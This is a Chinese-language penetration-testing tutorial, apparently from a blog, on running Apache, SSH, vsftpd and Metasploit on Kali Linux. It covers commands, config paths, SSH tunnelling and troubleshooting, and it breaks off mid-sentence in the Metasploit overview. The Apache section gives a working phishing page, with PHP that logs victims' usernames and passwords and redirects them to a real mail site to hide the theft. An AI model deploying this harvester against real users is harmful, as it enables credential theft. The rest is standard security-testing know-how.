Kali Linux 作为渗透测试与网络安全领域的标杆性操作系统,内置了大量常用的网络服务与工具,其中 Apache、SSH、FTP、Metasploit(MSF)、DHCP 是日常测试中高频使用的核心组件。本文将从服务本质、启动管理、核心路径、详细配置、实战用法、故障排查六个维度,对这五个服务进行全方位、深层次的解析,所有内容均基于实战场景原创梳理,旨在为网络安全从业者、运维人员提供完整的操作指南与技术参考。
Apache(全称 Apache HTTP Server)是全球使用最广泛的开源 HTTP 服务器软件,Kali Linux 内置的是 Apache2 版本。其核心作用是基于 HTTP/HTTPS 协议提供网页服务,在渗透测试中常被用于部署钓鱼页面、搭建漏洞测试环境、存放攻击载荷等场景。相较于其他 HTTP 服务器,Apache 具备高度的灵活性、可扩展性和跨平台性,支持多种模块扩展(如 PHP、Python 解析模块),能适配不同的测试需求。
Kali Linux 基于 Debian 架构,服务管理默认采用 systemd 系统,Apache 服务的所有生命周期操作均通过 systemctl 命令实现,部分场景下也可使用传统的 apache2ctl 命令辅助验证。
# 1. 启动 Apache 服务(首次启动或手动停止后重启)
sudo systemctl start apache2
# 2. 停止 Apache 服务(临时关闭,重启系统后失效)
sudo systemctl stop apache2
# 3. 重启 Apache 服务(修改配置文件后必须执行,使配置生效)
sudo systemctl restart apache2
# 4. 平滑重启(不中断现有连接,适用于生产环境/测试过程中的配置更新)
sudo systemctl reload apache2
# 5. 设置开机自启(渗透测试环境中常用,避免重启系统后重新启动服务)
sudo systemctl enable apache2
# 6. 关闭开机自启(临时测试后清理环境)
sudo systemctl disable apache2
# 7. 查看服务运行状态(核心命令,判断服务是否正常启动)
sudo systemctl status apache2
# 8. 验证 Apache 配置文件语法(修改配置后优先执行,避免语法错误导致启动失败)
sudo apache2ctl configtest状态查看命令输出解读:若显示“active (running)”且进程号存在,说明服务正常运行;若显示“failed”,则需查看日志定位问题;若显示“inactive (dead)”,说明服务未启动。
Apache 的配置文件采用“主配置+子配置+模块配置”的分层结构,核心路径如下,每个路径的作用与文件关联需精准掌握:
/var/www/html/:默认网页根目录(DocumentRoot),所有对外提供访问的网页文件均需存放在此目录(或自定义的根目录)。默认首页文件为 index.html、index.php 等,访问时若未指定文件名,Apache 会自动查找此目录下的首页文件。
/etc/apache2/:Apache 核心配置目录,包含所有配置文件与模块配置:
/etc/apache2/apache2.conf:主配置文件,是 Apache 启动的核心依赖,定义了全局配置(如日志格式、进程数、用户权限等),同时通过“Include”指令引入其他子配置文件。
/etc/apache2/ports.conf:端口配置文件,定义 Apache 监听的端口(默认 HTTP 80 端口,HTTPS 443 端口),修改端口后需重启服务生效。
/etc/apache2/sites-available/:虚拟主机配置文件存放目录(“可用”状态),所有虚拟主机的配置文件均在此创建,默认包含 000-default.conf(默认虚拟主机)和 default-ssl.conf(HTTPS 虚拟主机模板)。
/etc/apache2/sites-enabled/:虚拟主机启用目录(“启用”状态),通过软链接(ln -s)将 sites-available 目录下的配置文件链接到此目录,Apache 启动时仅加载此目录下的配置。
/etc/apache2/mods-available/ 与 /etc/apache2/mods-enabled/:模块配置目录,分别存放可用模块与启用模块的配置,如 php8.2 解析模块、rewrite 重写模块等,启用模块需通过 a2enmod 命令。
/var/log/apache2/:日志文件目录,渗透测试中可通过日志分析访问记录、攻击痕迹:
access.log:访问日志,记录所有客户端对 Apache 的访问请求,包含访问 IP、访问时间、请求方法、请求路径、状态码等信息。
error.log:错误日志,记录 Apache 运行过程中的错误信息(如配置错误、文件不存在、权限不足等),是故障排查的核心依据。
启动 Apache 服务后,可通过三种方式验证:
本地验证:在 Kali 本地打开浏览器,访问 http://localhost 或 http://127.0.0.1,若显示 Apache2 Debian Default Page(默认页面),说明服务正常。
局域网验证:在同一局域网的其他设备上,访问 http://Kali主机IP(如 http://192.168.1.100),能正常显示默认页面则说明服务对外提供访问。
命令行验证:使用 curl 命令测试,curl http://localhost,若返回默认页面的 HTML 代码,说明服务正常。
渗透测试中常需部署自定义页面(如钓鱼登录页、漏洞测试页面),步骤如下:
# 1. 进入网页根目录
cd /var/www/html/
# 2. 创建自定义页面(示例:钓鱼登录页 index.html)
sudo nano index.html
# 3. 写入 HTML 代码(简化示例,实际需模拟目标页面样式)
<!DOCTYPE html>
<html>
<head><title>企业邮箱登录</title></head>
<body>
<form action="login.php" method="post">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
</body>
</html>
# 4. (可选)创建接收数据的 PHP 脚本(记录用户名密码)
sudo nano login.php
# 写入 PHP 代码
<?php
$user = $_POST['username'];
$pass = $_POST['password'];
$log = "用户名:$user 密码:$pass\n";
file_put_contents('log.txt', $log, FILE_APPEND);
header("Location: http://mail.qq.com"); // 跳转至真实邮箱页面,隐藏钓鱼痕迹
?>
# 5. 设置权限(避免因权限不足导致页面无法访问或日志无法写入)
sudo chmod 755 /var/www/html/
sudo chmod 644 index.html login.php
sudo touch log.txt && sudo chmod 666 log.txt
部署完成后,访问 http://Kali主机IP 即可看到钓鱼页面,用户输入的账号密码会被记录在 log.txt 中。
当需要同时部署多个网页(如多个钓鱼页面、不同漏洞测试环境)时,可通过虚拟主机实现多网站共存,以基于域名的虚拟主机为例:
# 1. 创建两个虚拟主机的网页根目录
sudo mkdir -p /var/www/site1
sudo mkdir -p /var/www/site2
# 2. 为每个目录创建测试页面
sudo echo "<h1>Site1 - 钓鱼页面</h1>" > /var/www/site1/index.html
sudo echo "<h1>Site2 - 漏洞测试页面</h1>" > /var/www/site2/index.html
# 3. 设置目录权限
sudo chown -R www-data:www-data /var/www/site1 /var/www/site2
sudo chmod -R 755 /var/www/
# 4. 创建虚拟主机配置文件
# 配置 site1(域名:site1.test)
sudo nano /etc/apache2/sites-available/site1.conf
# 写入配置
<VirtualHost *:80>
ServerName site1.test
ServerAlias www.site1.test
DocumentRoot /var/www/site1
ErrorLog ${APACHE_LOG_DIR}/site1-error.log
CustomLog ${APACHE_LOG_DIR}/site1-access.log combined
</VirtualHost>
# 配置 site2(域名:site2.test)
sudo nano /etc/apache2/sites-available/site2.conf
# 写入配置
<VirtualHost *:80>
ServerName site2.test
ServerAlias www.site2.test
DocumentRoot /var/www/site2
ErrorLog ${APACHE_LOG_DIR}/site2-error.log
CustomLog ${APACHE_LOG_DIR}/site2-access.log combined
</VirtualHost>
# 5. 启用虚拟主机配置(创建软链接)
sudo a2ensite site1.conf
sudo a2ensite site2.conf
# 6. 禁用默认虚拟主机(可选,避免冲突)
sudo a2dissite 000-default.conf
# 7. 验证配置语法并重启 Apache
sudo apache2ctl configtest
sudo systemctl restart apache2
# 8. 配置域名解析(客户端需设置,使域名指向 Kali 主机)
# 方法1:客户端 hosts 文件配置(Windows:C:\Windows\System32\drivers\etc\hosts;Linux:/etc/hosts)
# 添加内容:Kali主机IP site1.test www.site1.test site2.test www.site2.test
配置完成后,在客户端浏览器访问 http://site1.test 和 http://site2.test,即可分别访问两个不同的网站。
为提升钓鱼页面的可信度或模拟 HTTPS 环境测试,需为 Apache 配置 HTTPS,使用 Let's Encrypt 免费证书(需外网可达)或自签名证书(局域网测试):
# 方案1:自签名证书(局域网测试用)
# 1. 生成自签名证书(存放在 /etc/apache2/ssl 目录)
sudo mkdir /etc/apache2/ssl
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
# 执行过程中需输入国家、省份、组织等信息,可随意填写
# 2. 启用 SSL 模块
sudo a2enmod ssl
# 3. 配置 HTTPS 虚拟主机(基于默认的 default-ssl.conf 修改)
sudo nano /etc/apache2/sites-available/default-ssl.conf
# 修改核心配置项
<VirtualHost _default_:443>
ServerName site1.test
DocumentRoot /var/www/site1
SSLEngine on
SSLCertificateFile /etc/apache2/ssl/apache.crt
SSLCertificateKeyFile /etc/apache2/ssl/apache.key
ErrorLog ${APACHE_LOG_DIR}/ssl-error.log
CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined
</VirtualHost>
# 4. 启用 HTTPS 虚拟主机并重启 Apache
sudo a2ensite default-ssl.conf
sudo systemctl restart apache2
# 方案2:Let's Encrypt 免费证书(外网可达场景)
# 1. 安装 Certbot 工具
sudo apt update && sudo apt install certbot python3-certbot-apache -y
# 2. 申请并自动配置证书
sudo certbot --apache -d site1.test
# 按提示输入邮箱、同意协议,自动完成证书申请与配置
配置完成后,访问 https://site1.test,浏览器会提示证书信息(自签名证书会显示不安全,可在测试客户端手动信任)。
问题1:启动 Apache 失败,提示“Address already in use”原因:80/443 端口被其他服务占用(如 Nginx、迅雷等)。解决方法:查看占用端口的进程,停止对应服务或修改 Apache 端口。# 查看 80 端口占用进程
sudo lsof -i :80
# 停止占用进程(如进程号为 1234)
sudo kill -9 1234
# 或修改 Apache 端口(编辑 /etc/apache2/ports.conf,将 Listen 80 改为 Listen 8080)
sudo nano /etc/apache2/ports.conf
sudo systemctl restart apache2
问题2:访问页面提示“403 Forbidden”原因:网页根目录或文件权限不足,或 Apache 配置中禁止访问。解决方法:调整目录/文件权限,检查配置文件中的访问控制规则。# 调整权限
sudo chown -R www-data:www-data /var/www/html/
sudo chmod -R 755 /var/www/
# 检查配置文件中的访问控制(编辑 apache2.conf)
sudo nano /etc/apache2/apache2.conf
# 确保 <Directory /var/www/> 段配置为
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
SSH(Secure Shell)是一种基于加密协议的远程登录工具,用于在不安全的网络中为远程登录、文件传输提供安全保障。Kali Linux 内置 OpenSSH Server(开源 SSH 服务器),通过 SSH 可远程控制 Kali 主机、传输渗透测试工具与数据,是渗透测试中远程操作的核心方式,相较于 Telnet 等明文协议,SSH 所有数据传输均经过加密,能有效防止信息泄露。
OpenSSH Server 在 Kali 中默认可能未启动,需手动管理,命令如下:
# 1. 启动 SSH 服务
sudo systemctl start ssh
# 2. 停止 SSH 服务
sudo systemctl stop ssh
# 3. 重启 SSH 服务(修改配置后生效)
sudo systemctl restart ssh
# 4. 平滑重启(不中断现有连接)
sudo systemctl reload ssh
# 5. 设置开机自启(远程测试环境必备)
sudo systemctl enable ssh
# 6. 关闭开机自启
sudo systemctl disable ssh
# 7. 查看服务状态
sudo systemctl status ssh
# 8. 查看 SSH 监听端口(默认 22 端口)
sudo netstat -tulnp | grep sshd/etc/ssh/:SSH 核心配置目录,包含服务器配置、客户端配置等:
sshd_config:SSH 服务器核心配置文件,定义监听端口、登录权限、认证方式等,所有服务器端规则均在此配置。
ssh_config:SSH 客户端配置文件,定义客户端连接远程 SSH 服务器的默认规则(如默认端口、超时时间等)。
ssh_host_*_key:SSH 服务器密钥文件(RSA、ED25519 等算法),用于客户端与服务器的身份认证,首次启动 SSH 服务时自动生成。
~/.ssh/:用户级 SSH 配置目录,存放用户的密钥对、已知主机列表等(每个用户独立):
id_rsa:RSA 算法私钥文件(核心机密,不可泄露)。
id_rsa.pub:RSA 算法公钥文件(可公开,用于配置密钥登录)。
known_hosts:记录客户端已连接过的 SSH 服务器公钥,避免中间人攻击,若服务器公钥变化,会提示警告。
authorized_keys:存放允许登录当前用户的客户端公钥,配置密钥登录时需将客户端公钥写入此文件。
/var/log/auth.log:SSH 登录日志文件,记录所有 SSH 登录尝试(成功/失败)、登录 IP、登录用户等信息,是安全审计与攻击溯源的核心依据。
SSH 默认支持密码登录,步骤如下:
# 1. 确保 Kali 端 SSH 服务已启动
sudo systemctl start ssh
# 2. 客户端连接(Windows 需安装 OpenSSH 客户端或使用 Xshell、Putty 等工具)
# Linux/macOS 客户端直接使用 ssh 命令
ssh 用户名@Kali主机IP
# 示例:Kali 用户名为 kali,IP 为 192.168.1.100
ssh [email protected]
# 3. 非默认端口连接(若修改了 SSH 端口,如 2222)
ssh [email protected] -p 2222
# 4. 输入 Kali 用户名对应的密码,验证通过后即可远程登录注意:密码登录存在暴力破解风险,渗透测试环境中建议仅在临时测试时使用,长期远程环境需配置密钥登录。
密钥登录基于非对称加密算法(如 RSA、ED25519),无需输入密码,安全性远高于密码登录,步骤如下:
# 步骤1:客户端生成密钥对(Windows/Linux/macOS 客户端均适用)
# 生成 RSA 密钥对(-b 指定密钥长度,2048 或 4096,长度越长越安全)
ssh-keygen -t rsa -b 4096
# 执行后按提示操作:
# 1. 选择密钥保存路径(默认 ~/.ssh/id_rsa,直接回车即可)
# 2. 设置密钥密码(可选,为空则无需密码,建议设置复杂密码提升安全性)
# 步骤2:将客户端公钥上传至 Kali 服务器
# 方法1:使用 ssh-copy-id 命令(简单高效,推荐)
ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]
# 输入 Kali 用户密码,即可自动将公钥写入 ~/.ssh/authorized_keys
# 方法2:手动上传(适用于 ssh-copy-id 不可用的场景)
# 1. 客户端将公钥内容复制到剪贴板
cat ~/.ssh/id_rsa.pub
# 2. 远程登录 Kali 服务器,编辑 authorized_keys 文件
ssh [email protected]
nano ~/.ssh/authorized_keys
# 3. 将客户端公钥内容粘贴到文件中,保存退出
# 步骤3:配置 Kali 服务器禁用密码登录(可选,进一步提升安全性)
sudo nano /etc/ssh/sshd_config
# 修改以下配置项
PasswordAuthentication no # 禁用密码登录
PubkeyAuthentication yes # 启用密钥登录
AuthorizedKeysFile .ssh/authorized_keys # 指定公钥文件路径
# 步骤4:重启 SSH 服务使配置生效
sudo systemctl restart ssh
# 步骤5:客户端测试密钥登录
ssh [email protected]
# 若设置了密钥密码,输入密钥密码即可登录;未设置则直接登录,无需输入密码SSH 端口转发(端口映射)可实现内网穿透、流量加密传输,在渗透测试中常用于访问内网不可直接访问的服务(如内网数据库、内网 Web 服务),分为本地端口转发、远程端口转发、动态端口转发三种场景:
场景:客户端无法直接访问目标内网服务(如 192.168.2.10:8080),但可访问内网中的 Kali 主机(192.168.2.20),通过 Kali 主机转发流量。
# 命令格式:ssh -L 本地端口:目标服务IP:目标服务端口 用户名@Kali主机IP
# 示例:将 192.168.2.10:8080 映射到本地 8888 端口
ssh -L 8888:192.168.2.10:8080 [email protected]
# 映射完成后,访问本地 http://127.0.0.1:8888,即可访问 192.168.2.10:8080场景:Kali 主机在内网(192.168.1.100),客户端在外网,无法直接访问 Kali 主机,需将 Kali 本地服务(如 80 端口的 Apache 服务)映射到外网可访问的服务器(203.0.113.50)。
# 命令格式:ssh -R 远程服务器端口:本地服务IP:本地服务端口 用户名@外网服务器IP
# 示例:将 Kali 本地 80 端口映射到外网服务器 203.0.113.50 的 8080 端口
ssh -R 8080:127.0.0.1:80 [email protected]
# 映射完成后,访问外网服务器 http://203.0.113.50:8080,即可访问 Kali 的 Apache 服务场景:通过 Kali 主机创建 SOCKS 代理,客户端所有流量通过代理访问内网,适用于内网多服务探测。
# 命令格式:ssh -D 本地代理端口 用户名@Kali主机IP
# 示例:创建本地 1080 端口的 SOCKS 代理
ssh -D 1080 [email protected]
# 配置客户端代理(如浏览器、Burp Suite):
# 代理类型:SOCKS5,代理地址:127.0.0.1,端口:1080
# 配置完成后,客户端流量即可通过 Kali 主机访问内网SSH 提供 scp(安全复制)和 sftp(安全文件传输协议)两种文件传输方式,无需额外启动 FTP 服务,安全性更高。
# 1. scp 命令(简单文件/目录传输)
# 客户端上传文件到 Kali 服务器
scp 本地文件路径 [email protected]:目标路径
# 示例:上传本地 test.exe 到 Kali 的 /home/kali/ 目录
scp ~/test.exe [email protected]:/home/kali/
# 客户端从 Kali 服务器下载文件
scp [email protected]:目标文件路径 本地路径
# 示例:下载 Kali 的 /home/kali/log.txt 到本地 ~/ 目录
scp [email protected]:/home/kali/log.txt ~/
# 传输目录(加 -r 参数)
scp -r 本地目录路径 [email protected]:目标目录路径
# 2. sftp 命令(交互式文件传输,适用于多文件操作)
# 连接 Kali 服务器
sftp [email protected]
# 常用 sftp 命令
ls # 查看 Kali 服务器当前目录文件
lcd 本地目录 # 切换本地目录
cd 目标目录 # 切换 Kali 服务器目录
put 本地文件 # 上传文件
get 服务器文件 # 下载文件
rm 服务器文件 # 删除服务器文件
mkdir 目录名 # 在服务器创建目录
exit # 退出 sftp 连接# 1. 修改默认 SSH 端口(避免暴力破解扫描)
sudo nano /etc/ssh/sshd_config
# 将 Port 22 改为其他端口(如 2222,建议使用 1024-65535 之间的端口)
Port 2222
sudo systemctl restart ssh
# 2. 禁用 root 用户登录(root 权限过高,被破解后风险极大)
sudo nano /etc/ssh/sshd_config
PermitRootLogin no
sudo systemctl restart ssh
# 3. 限制允许登录的用户
sudo nano /etc/ssh/sshd_config
# 添加配置:仅允许 kali 用户登录
AllowUsers kali
sudo systemctl restart ssh
# 4. 设置登录超时时间(避免闲置连接被利用)
sudo nano /etc/ssh/sshd_config
ClientAliveInterval 60 # 每 60 秒发送一次心跳包
ClientAliveCountMax 3 # 3 次无响应则断开连接
sudo systemctl restart ssh
(2)故障排查
问题1:客户端无法连接 SSH,提示“Connection refused”原因:Kali 端 SSH 服务未启动、端口被防火墙拦截、端口修改后未使用新端口连接。解决方法:启动 SSH 服务,开放防火墙端口,使用正确端口连接。# 开放防火墙端口(如 2222 端口)
sudo ufw allow 2222/tcp
sudo ufw reload
# 查看防火墙状态
sudo ufw status
问题2:密钥登录失败,提示“Permission denied (publickey)”原因:authorized_keys 文件权限过高、公钥内容错误、密钥文件权限过高。解决方法:调整权限,验证公钥内容。# 调整 authorized_keys 权限(必须为 600,否则 SSH 会拒绝使用)
chmod 600 ~/.ssh/authorized_keys
# 调整 .ssh 目录权限(必须为 700)
chmod 700 ~/.ssh/
# 验证公钥内容是否正确
cat ~/.ssh/authorized_keys
FTP(File Transfer Protocol,文件传输协议)是用于在网络中进行文件传输的标准协议,Kali Linux 内置 vsftpd(Very Secure FTP Daemon)服务,该服务以安全性高、轻量、稳定著称,支持匿名登录、本地用户登录等多种认证方式,在渗透测试中常用于快速搭建文件传输服务器,实现攻击载荷上传、目标主机数据下载等功能。
# 1. 启动 vsftpd 服务
sudo systemctl start vsftpd
# 2. 停止 vsftpd 服务
sudo systemctl stop vsftpd
# 3. 重启 vsftpd 服务(修改配置后生效)
sudo systemctl restart vsftpd
# 4. 设置开机自启
sudo systemctl enable vsftpd
# 5. 关闭开机自启
sudo systemctl disable vsftpd
# 6. 查看服务状态
sudo systemctl status vsftpd
# 7. 查看 FTP 监听端口(默认 21 端口,主动模式)
sudo netstat -tulnp | grep vsftpd/etc/vsftpd.conf:vsftpd 核心配置文件,所有服务规则(如匿名登录、写权限、端口范围等)均在此配置,默认配置较为严格(禁用匿名登录、禁止写权限)。
/etc/vsftpd.user_list:用户列表文件,默认情况下,在此文件中的用户会被禁止登录 FTP(需结合配置文件中的 userlist_deny 选项)。
/etc/vsftpd.chroot_list:禁锢用户目录列表文件,在此文件中的用户登录后仅能访问自身家目录,无法切换到其他目录(需结合 chroot 相关配置)。
/var/log/vsftpd.log:vsftpd 日志文件,记录用户登录、文件上传/下载、错误信息等,用于安全审计与故障排查。
用户家目录:本地用户登录 FTP 后,默认进入自身家目录(如 /home/kali/)。
/srv/ftp/:匿名用户默认根目录,匿名登录后仅能访问此目录下的文件。
vsftpd 默认配置较为严格,需根据测试需求修改配置文件,常见场景分为匿名登录配置、本地用户登录配置两种。
场景:快速搭建公共文件传输服务器,供测试设备上传/下载文件(渗透测试中常用于让目标主机下载攻击载荷)。
# 步骤1:修改 vsftpd 配置文件
sudo nano /etc/vsftpd.conf
# 修改/添加以下配置项
anonymous_enable=YES # 启用匿名登录
anon_upload_enable=YES # 允许匿名用户上传文件
anon_mkdir_write_enable=YES # 允许匿名用户创建目录
anon_other_write_enable=YES # 允许匿名用户删除/修改文件(测试场景用,生产环境禁用)
anon_root=/srv/ftp/ # 指定匿名用户根目录
local_enable=NO # 禁用本地用户登录(仅允许匿名登录)
write_enable=YES # 启用写权限(上传/创建目录需此权限)
anon_umask=022 # 匿名用户上传文件的权限掩码(022 对应权限 644)
xferlog_enable=YES # 启用日志记录
xferlog_file=/var/log/vsftpd.log # 指定日志文件路径
# 步骤2:设置匿名用户根目录权限(关键,避免权限不足导致上传失败)
# 匿名用户的系统用户为 ftp,需确保 ftp 用户对根目录有写权限
sudo chown -R ftp:ftp /srv/ftp/
sudo chmod -R 777 /srv/ftp/ # 测试场景简化权限,生产环境需严格控制
# 步骤3:重启 vsftpd 服务使配置生效
sudo systemctl restart vsftpd
# 步骤4:测试匿名登录
# 本地测试
ftp localhost
# 登录时用户名输入 anonymous,密码任意(如空或 [email protected])
# 远程测试(其他设备)
ftp 192.168.1.100
# 匿名用户常用 FTP 命令
ls # 查看当前目录文件
cd 目录名 # 切换目录
put 本地文件 # 上传文件(客户端→FTP服务器)
get 服务器文件 # 下载文件(FTP服务器→客户端)
mkdir 目录名 # 创建目录
rm 文件名 # 删除文件
quit # 退出登录场景:需要权限控制的文件传输,仅允许 Kali 本地存在的用户登录(如渗透测试团队内部文件共享)。
# 步骤1:创建 FTP 专用本地用户(避免使用 kali 等特权用户)
sudo useradd -m ftpuser # 创建用户并生成家目录(/home/ftpuser/)
sudo passwd ftpuser # 设置密码(如 123456@FTP)
# 步骤2:修改 vsftpd 配置文件
sudo nano /etc/vsftpd.conf
# 修改/添加以下配置项
anonymous_enable=NO # 禁用匿名登录
local_enable=YES # 启用本地用户登录
write_enable=YES # 启用写权限
local_umask=022 # 本地用户上传文件权限掩码(022 对应 644)
chroot_local_user=YES # 禁锢所有本地用户在自身家目录(无法切换到其他目录,提升安全性)
chroot_list_enable=YES # 启用禁锢目录例外列表
chroot_list_file=/etc/vsftpd.chroot_list # 例外列表文件(在此文件中的用户不受禁锢)
userlist_enable=YES # 启用用户列表
userlist_deny=NO # 仅允许 user_list 文件中的用户登录(白名单模式)
userlist_file=/etc/vsftpd.user_list # 用户白名单文件
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
# 步骤3:配置用户白名单(仅允许 ftpuser 登录)
sudo nano /etc/vsftpd.user_list
# 添加内容(仅一行)
ftpuser
# 步骤4:(可选)配置禁锢目录例外列表(若需允许某用户访问其他目录)
sudo nano /etc/vsftpd.chroot_list
# 添加需要例外的用户名(如无则为空)
# 步骤5:设置本地用户家目录权限
sudo chown -R ftpuser:ftpuser /home/ftpuser/
sudo chmod -R 755 /home/ftpuser/
# 步骤6:重启 vsftpd 服务
sudo systemctl restart vsftpd
# 步骤7:测试本地用户登录
ftp 192.168.1.100
# 用户名输入 ftpuser,密码输入设置的 123456@FTP
# 登录后默认进入 /home/ftpuser/ 目录,无法切换到 /root/、/etc/ 等目录(因启用了 chroot)FTP 存在主动模式和被动模式两种数据传输方式,默认情况下可能因防火墙拦截导致文件传输失败,需手动配置端口范围:
# 编辑 vsftpd 配置文件,添加被动模式端口范围配置
sudo nano /etc/vsftpd.conf
# 添加以下配置项(被动模式)
pasv_enable=YES # 启用被动模式
pasv_min_port=20000 # 被动模式最小端口
pasv_max_port=20100 # 被动模式最大端口
pasv_address=192.168.1.100 # FTP 服务器 IP(避免客户端无法获取正确 IP)
# (可选)主动模式配置
port_enable=YES # 启用主动模式
connect_from_port_20=YES # 主动模式数据传输使用 20 端口
# 重启 vsftpd 服务
sudo systemctl restart vsftpd
# 开放防火墙端口(被动模式端口范围+21端口)
sudo ufw allow 21/tcp
sudo ufw allow 20000:20100/tcp
sudo ufw reload主动模式:服务器主动向客户端发起连接(使用 20 端口传输数据),适用于客户端防火墙开放入站连接的场景;被动模式:客户端主动向服务器发起连接(使用配置的端口范围传输数据),适用于服务器防火墙限制入站连接的场景,渗透测试中建议优先使用被动模式。
问题1:匿名用户无法上传文件,提示“553 Could not create file”原因:匿名用户根目录权限不足,或未启用 anon_upload_enable 配置。解决方法:调整目录权限,检查配置文件。# 调整权限
sudo chown -R ftp:ftp /srv/ftp/
sudo chmod -R 777 /srv/ftp/
# 检查配置文件
grep "anon_upload_enable" /etc/vsftpd.conf # 确保为 YES
sudo systemctl restart vsftpd
问题2:本地用户登录后无法切换目录,提示“500 OOPS: chroot”原因:启用 chroot 后,用户家目录权限过高(vsftpd 要求 chroot 目录权限不能为 777)。解决方法:调整家目录权限。sudo chmod 755 /home/ftpuser/
sudo systemctl restart vsftpd
Metasploit Framework(简称 MSF)是全球最流行的开源渗透测试框架,集成了漏洞利用模块、攻击载荷(Payload)、后渗透模块等核心组件,支持多种操作系统(Windows、Linux、macOS 等)和多种漏洞类型的测试。Kali Linux 内置 MSF 完整版本,通过 msfconsole(MSF 控制台)可实现漏洞扫描、漏洞利用、权限提升、持久化控制等全流程渗透测试操作,是渗透测试工程师的核心工具。
MSF 依赖 PostgreSQL 数据库存储漏洞信息、扫描结果、会话信息等,启动前需先初始化数据库环境:
# 步骤1:启动 PostgreSQL 数据库服务
sudo systemctl start postgresql
# 步骤2:设置 PostgreSQL 开机自启(可选)
sudo systemctl enable postgresql
# 步骤3:初始化 MSF 数据库(首次启动 MSF 必须执行,仅需执行一次)
sudo msfdb init
# 执行成功后,会创建 MSF 专用数据库(默认数据库名:msf,用户名:msf,密码:随机生成)
# 步骤4:启动 MSF 控制台(核心命令)
msfconsole
# 启动成功后,界面会显示 MSF 标志,提示符变为 msf6 >MSF 控制台常用基础命令:
help # 查看所有命令帮助
search 关键词 # 搜索模块(漏洞利用、payload 等)
use 模块路径 # 加载指定模块
show options # 查看当前模块的配置项
set 配置项 值 # 设置配置项(如 set RHOSTS 目标IP)
run/exploit # 执行当前模块(漏洞利用模块用 exploit,辅助模块用 run)
sessions # 查看所有活跃会话(后渗透控制会话)
session -i 会话ID # 进入指定会话
exit # 退出 MSF 控制台/usr/share/metasploit-framework/:MSF 安装目录,包含所有核心模块、工具、配置文件。
/usr/share/metasploit-framework/modules/:核心模块目录,按功能分类存放,是 MSF 的核心组成部分:
exploits/:漏洞利用模块,针对具体漏洞的攻击代码(如 MS17-010 永恒之蓝漏洞利用模块)。
payloads/:攻击载荷模块,漏洞利用成功后在目标主机执行的代码(如反向连接、正向连接、反弹 Shell 等)。
auxiliary/:辅助模块,用于信息收集、端口扫描、密码破解等辅助操作(不具备漏洞利用功能)。
post/:后渗透模块,漏洞利用成功获取会话后,用于权限提升、信息收集、持久化控制等操作。
encoders/:编码模块,对 payload 进行编码,避免被杀毒软件(AV)检测到(免杀基础)。
nops/:空指令模块,用于调整 payload 长度,确保漏洞利用时内存对齐。
/etc/metasploit/:MSF 配置目录,包含数据库配置、框架配置等。
~/.msf4/:用户级配置目录,存放用户自定义模块、会话记录、日志等。
漏洞利用模块(exploits):按目标系统和漏洞类型分类,如 windows/smb/ms17_010_eternalblue(Windows SMB 服务 MS17-010 漏洞)、linux/ssh/ssh_login(SSH 暴力破解漏洞)。每个模块对应一个或多个具体漏洞,需结合目标漏洞情况选择。
攻击载荷模块(payloads):分为三种类型:
Singles:独立 payload,无需依赖其他组件,直接执行指定功能(如执行命令、反弹 Shell),适用于漏洞利用后直接获取简单交互。
Stagers:分段 payload,分为舞台(Stager)和载荷(Stage),舞台体积小,用于漏洞利用成功后建立连接,再下载并执行完整载荷,适用于漏洞利用空间有限的场景(如缓冲区溢出漏洞)。
Stages:完整 payload,由 Stager 下载后执行,功能强大(如 Meterpreter 会话),是渗透测试中最常用的 payload